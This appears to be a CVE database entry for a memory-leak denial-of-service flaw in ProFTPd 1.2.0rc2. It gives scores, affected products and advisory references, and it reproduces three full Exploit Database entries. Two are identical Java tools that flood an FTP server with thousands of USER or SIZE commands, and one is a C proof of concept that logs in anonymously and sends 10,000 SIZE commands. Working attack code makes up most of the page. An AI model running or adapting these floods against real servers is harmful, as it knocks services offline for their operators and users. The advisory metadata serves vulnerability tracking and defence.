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CVE Descriptions
Memory leak in ProFTPd 1.2.0rc2 allows remote attackers to cause a denial of service via a series of USER commands, and possibly SIZE commands if the server has been improperly installed.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Missing Release of Memory after Effective Lifetime The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:N/I:N/A:P | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 20536
Publication date : 2000-12-19 23h00 +00:00
Author : JeT-Li
EDB Verified : Yes
source: https://www.securityfocus.com/bid/2185/info
A memory leak has been reported in all versions of ProFTPd.
The SIZE FTP command causes the server to misallocate and leak small amounts of memory each time the command is executed.
If a sufficient number of these commands are executed by the server, substantial amounts of system memory can be consumed, allowing a remote attacker to carry out a denial of service attack on the affected host.
This could be problematic if anonymous FTP is enabled or if a malicious local user has been supplied with an FTP login ID.
/* ProFTPd DoS version 1.1
Remote DoS in proFTPd
Code by: JeT-Li -The Wushu Master- [email protected]
Recently I posted a remote DoS for ProFTPd based in the multiple use
of the SIZE command in order to crash the system. Now and thanks to
the information provided by Wojciech Purczynski I have coded a
program that not only use the SIZE command but also the USER command.
So at this time access to the ftp is not necessary to manage a DoS
attack. The concept is equal to the last exploit one, but using
multiple USER instead of SIZE.
You don't have to give arguments when you execute the program, it
will request you these.
Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
the ppl of #hackers (not able for cardiac XD).
Vulnerable systems:
ProFTPd 1.2.0rc1 (Tested)
ProFTPd 1.2.0rc2 (Tested)
And maybe others(1.2.0preX); I have no test this, but I'm sure you
can do it for me ;-)
NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of
Wojciech Purczynski ... */
import java.net.*;
import java.io.*;
class TCPconnection {
public TCPconnection (String hostname, int portnumber) throws Exception {
Socket s = doaSocket(hostname, portnumber);
br = new BufferedReader (new InputStreamReader (s.getInputStream()));
ps = new PrintStream (s.getOutputStream());
}
public String readLine() throws Exception {
String s;
try { s = br.readLine(); }
catch (IOException ioe) {
System.out.println("TCP Error ... it's a little hax0r exception ;-)");
throw new Exception ("\nInput Error: I/O Error");
}
return s;
}
public void println(String s) {
ps.println(s);
}
private Socket doaSocket(String hostname, int portnumber) throws Exception {
Socket s = null;
int attempts = 0;
while (s == null && attempts<maxattempts) {
try { s = new Socket(hostname, portnumber); }
catch (UnknownHostException uhe) {
System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " +
hostname + ". Here is
the Exception:");
throw new Exception("\nConnection Error: " + "unknown hostname");
}
catch (IOException ioe) {
System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
}
attempts++;
}
if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it
again ...");
else return s; }
private final int maxattempts = 5;
private BufferedReader br;
private PrintStream ps;
}
class proftpDoS {
public static void main(String[] arg) throws Exception {
InputStreamReader isr;
BufferedReader tcld;
String hostnamez, username, password, file, s1, option, option1;
int i, j, k, m;
isr = new InputStreamReader(System.in);
tcld = new BufferedReader(isr);
System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");
System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");
System.out.println("1) Memory leakage using USER command");
System.out.println("2) Memory leakage using SIZE command");
System.out.print("Option: ");
option = tcld.readLine();
m = Integer.parseInt(option);
while (!(m==1 || m==2)) {
System.out.print("Option not valid, please try again: ");
option = tcld.readLine();
m = Integer.parseInt(option); }
if (m==1) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
if (k==1) {
for(i=0;i<15000;i++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
else if (m==2) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
username = "";
while (username.length()==0) {
System.out.print("Enter the username: ");
username = tcld.readLine(); }
password = "";
while (password.length()==0) {
System.out.print("Enter the password for that username: ");
password = tcld.readLine(); }
file = "";
while (file.length()==0) {
System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");
file = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
tc.println("user " + username);
tc.println("pass " + password);
if (k==1) {
for(i=0;i<10000;i++)
tc.println("size " + file); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("size " + file); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
}
}
Exploit Database EDB-ID : 244
Publication date : 2001-01-11 23h00 +00:00
Author : JeT-Li
EDB Verified : Yes
/* ProFTPd DoS version 1.1
Remote DoS in proFTPd
Code by: JeT-Li -The Wushu Master- [email protected]
Recently I posted a remote DoS for ProFTPd based in the multiple use
of the SIZE command in order to crash the system. Now and thanks to
the information provided by Wojciech Purczynski I have coded a
program that not only use the SIZE command but also the USER command.
So at this time access to the ftp is not necessary to manage a DoS
attack. The concept is equal to the last exploit one, but using
multiple USER instead of SIZE.
You don't have to give arguments when you execute the program, it
will request you these.
Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
the ppl of #hackers (not able for cardiac XD).
Vulnerable systems:
ProFTPd 1.2.0rc1 (Tested)
ProFTPd 1.2.0rc2 (Tested)
And maybe others(1.2.0preX); I have no test this, but I'm sure you
can do it for me ;-)
NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of
Wojciech Purczynski ... */
import java.net.*;
import java.io.*;
class TCPconnection {
public TCPconnection (String hostname, int portnumber) throws Exception {
Socket s = doaSocket(hostname, portnumber);
br = new BufferedReader (new InputStreamReader (s.getInputStream()));
ps = new PrintStream (s.getOutputStream());
}
public String readLine() throws Exception {
String s;
try { s = br.readLine(); }
catch (IOException ioe) {
System.out.println("TCP Error ... it's a little hax0r exception ;-)");
throw new Exception ("\nInput Error: I/O Error");
}
return s;
}
public void println(String s) {
ps.println(s);
}
private Socket doaSocket(String hostname, int portnumber) throws Exception {
Socket s = null;
int attempts = 0;
while (s == null && attempts<maxattempts) {
try { s = new Socket(hostname, portnumber); }
catch (UnknownHostException uhe) {
System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");
throw new Exception("\nConnection Error: " + "unknown hostname");
}
catch (IOException ioe) {
System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
}
attempts++;
}
if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ...");
else return s; }
private final int maxattempts = 5;
private BufferedReader br;
private PrintStream ps;
}
class proftpDoS {
public static void main(String[] arg) throws Exception {
InputStreamReader isr;
BufferedReader tcld;
String hostnamez, username, password, file, s1, option, option1;
int i, j, k, m;
isr = new InputStreamReader(System.in);
tcld = new BufferedReader(isr);
System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");
System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");
System.out.println("1) Memory leakage using USER command");
System.out.println("2) Memory leakage using SIZE command");
System.out.print("Option: ");
option = tcld.readLine();
m = Integer.parseInt(option);
while (!(m==1 || m==2)) {
System.out.print("Option not valid, please try again: ");
option = tcld.readLine();
m = Integer.parseInt(option); }
if (m==1) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
if (k==1) {
for(i=0;i<15000;i++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
else if (m==2) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
username = "";
while (username.length()==0) {
System.out.print("Enter the username: ");
username = tcld.readLine(); }
password = "";
while (password.length()==0) {
System.out.print("Enter the password for that username: ");
password = tcld.readLine(); }
file = "";
while (file.length()==0) {
System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");
file = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
tc.println("user " + username);
tc.println("pass " + password);
if (k==1) {
for(i=0;i<10000;i++)
tc.println("size " + file); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("size " + file); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
}
}
Exploit Database EDB-ID : 241
Publication date : 2001-01-02 23h00 +00:00
Author : Piotr Zurawski
EDB Verified : Yes
/*
| Proftpd DoS
| by Piotr Zurawski ([email protected])
| This source is just an example of memory leakage in proftpd-1.2.0(rc2)
| server discovered by Wojciech Purczynski.
|
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#define USERNAME "anonymous"
#define PASSWORD "[email protected]"
#define HOWMANY 10000
void logintoftp();
void sendsizes();
int fd;
struct in_addr host;
unsigned short port = 21;
int tcp_connect(struct in_addr addr,unsigned short port);
int main(int argc, char **argv)
{
if (!resolve(argv[1],&host))
{
fprintf(stderr,"Hostname lookup failure\n");
exit(0);
}
fd=tcp_connect(host,port);
logintoftp(fd);
printf("Logged\n");
sendsizes(fd);
printf("Now check out memory usage of proftpd daemon");
printf("Resident set size (RSS) and virtual memory size (VSIZE)");
printf("fields in ps output");
}
void logintoftp()
{
char snd[1024], rcv[1024];
int n;
printf("Logging " USERNAME "/" PASSWORD "\r\n");
memset(snd, '\0', 1024);
sprintf(snd, "USER %s\r\n", USERNAME);
write(fd, snd, strlen(snd));
while((n=read(fd, rcv, sizeof(rcv))) > 0)
{
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)break;
}
memset(snd, '\0', 1024);
sprintf(snd, "PASS %s\r\n", PASSWORD);
write(fd, snd, strlen(snd));
while((n=read(fd, rcv, sizeof(rcv))) > 0)
{
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
return;
}
void sendsizes()
{
char snd[1024], rcv[1024];
unsigned long loop;
printf ("Sending %i size commands... \n", HOWMANY);
for(loop=0;loop<HOWMANY;loop++)
{
sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroaha\n");
write(fd, snd, strlen(snd));
}
return;
}
int tcp_connect(struct in_addr addr,unsigned short port)
{
int fd;
struct sockaddr_in serv;
bzero(&serv,sizeof(serv)); serv.sin_addr=addr;
serv.sin_port=htons(port);
serv.sin_family=AF_INET;
if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)\
{
perror("socket");
exit(0);
}
if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0)
{
perror("connect");
exit(0);
}
return(fd);
}
int resolve(char *hostname,struct in_addr *addr)
{
struct hostent *res;
res=gethostbyname(hostname);
if (res==NULL)
return(0);
memcpy((char *)addr,res->h_addr,res->h_length);
return(1);
}
Products Mentioned
Configuraton 0
Proftpd>>Proftpd >> Version 1.2.0
- Proftpd>>Proftpd >> Version 1.2.0 (Open CPE detail)
Configuraton 0
Conectiva>>Linux >> Version *
- Conectiva>>Linux >> Version - (Open CPE detail)
- Conectiva>>Linux >> Version 1.0.0 (Open CPE detail)
- Conectiva>>Linux >> Version 4.0 (Open CPE detail)
- Conectiva>>Linux >> Version 4.0es (Open CPE detail)
- Conectiva>>Linux >> Version 4.1 (Open CPE detail)
- Conectiva>>Linux >> Version 4.2 (Open CPE detail)
- Conectiva>>Linux >> Version 5.0 (Open CPE detail)
- Conectiva>>Linux >> Version 5.1 (Open CPE detail)
- Conectiva>>Linux >> Version 6.0 (Open CPE detail)
- Conectiva>>Linux >> Version 7.0 (Open CPE detail)
- Conectiva>>Linux >> Version 8.0 (Open CPE detail)
- Conectiva>>Linux >> Version 9.0 (Open CPE detail)
- Conectiva>>Linux >> Version 10 (Open CPE detail)
- Conectiva>>Linux >> Version 10.0 (Open CPE detail)
- Conectiva>>Linux >> Version ecommerce (Open CPE detail)
- Conectiva>>Linux >> Version graficas (Open CPE detail)
- Conectiva>>Linux >> Version prg_graficos (Open CPE detail)
Debian>>Debian_linux >> Version 2.2
- Debian>>Debian_linux >> Version 2.2 (Open CPE detail)
Mandrakesoft>>Mandrake_linux >> Version 7.2
- Mandrakesoft>>Mandrake_linux >> Version 7.2 (Open CPE detail)
References
http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-021.php3
Tags : vendor-advisory, x_refsource_MANDRAKE
Tags : vendor-advisory, x_refsource_MANDRAKE
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000380
Tags : vendor-advisory, x_refsource_CONECTIVA
Tags : vendor-advisory, x_refsource_CONECTIVA
http://archives.neohapsis.com/archives/bugtraq/2001-01/0122.html
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://archives.neohapsis.com/archives/bugtraq/2001-01/0132.html
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://archives.neohapsis.com/archives/bugtraq/2001-02/0267.html
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
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